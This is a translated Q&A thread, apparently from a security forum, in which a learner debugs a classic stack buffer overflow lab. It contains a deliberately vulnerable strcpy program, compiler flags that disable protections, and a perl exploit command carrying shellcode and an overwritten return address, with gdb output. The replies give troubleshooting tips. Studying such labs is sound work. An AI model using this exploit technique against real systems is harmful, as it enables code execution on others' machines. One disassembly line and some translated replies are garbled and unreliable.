这是我的示例程序“ oldskool.c”:
#include <string.h>
void go(char *data) {
char name[64];
strcpy(name, data);
}
int main (int argc, char **argv) {
go(argv[1]);
}
我使用:
gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g
我也关闭了ASLR。
使用gdb的x / gx $ rsp,我验证了传入
perl -e 'print "A"x80'
的参数将完全覆盖SIP。这是p&name = (char (*)[64]) 0x7fffffffddc0
的输出,然后我以shellcode示例为例,并添加了padding和SIP,得出了以下内容:
./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`
但是,运行此命令时,出现“非法指令”错误。以下是gdb会告诉我的内容:
Starting program: /path/to/oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xc0\xdd\xff\xff\xff\x7f"'`
Program received signal SIGILL, Illegal instruction.
0x00007fffffffddc0 in ?? ()
(gdb) x/10i 0x7fffffffddc0
=> 0x7fffffffddc0: (bad)
0x7fffffffddc1: (bad)
0x7fffffffddc2: (bad)
0x7fffffffddc3: incl (%rax)
0x7fffffffddc5: add %al,(%rax)
0x7fffffffddc7: add %ah,-0x1e(%rcx)
0x7fffffffddcd: jg 0x7fffffffddcf
0x7fffffffddcf: add %ch,%bl
0x7fffffffddd1: and 0x31(%rax),%cl
0x7fffffffddd4: rorb q4312078qxff,0x31(%rax)
有人对导致此错误的原因有任何线索吗?
#1 楼
您的shellcode无效。将其更改为\ x90 \ x90 \ x90 \ x90 \ x90 \ x90 \ xcc以检查并检测正确。评论
您是要用您的示例shellcode替换示例代码,为其添加填充和地址,然后运行它吗?
–亚当·德昂(Adam Denoon)
2015年9月24日13:16
好用9090909090cc替换c0ddffffff7f
– Stolas
2015年9月25日上午8:35
评论
这将有助于检查拆卸位置的数值。这样,您将知道您的shellcode是否在附近。然后,解决方案可能很明显。您的shellcode堆栈是否对齐?您可能正在破坏堆栈。一切都正确吗?向后的指示会很糟糕。
@peter,具体建议您为哪些位置提供拆卸信息?
@raz,一切都是正确的字节序,但是我不确定堆栈对齐是什么意思。
如果您的shellcode恰好不在4字节边界上,那么您将以一种会产生非法指令的方式破坏堆栈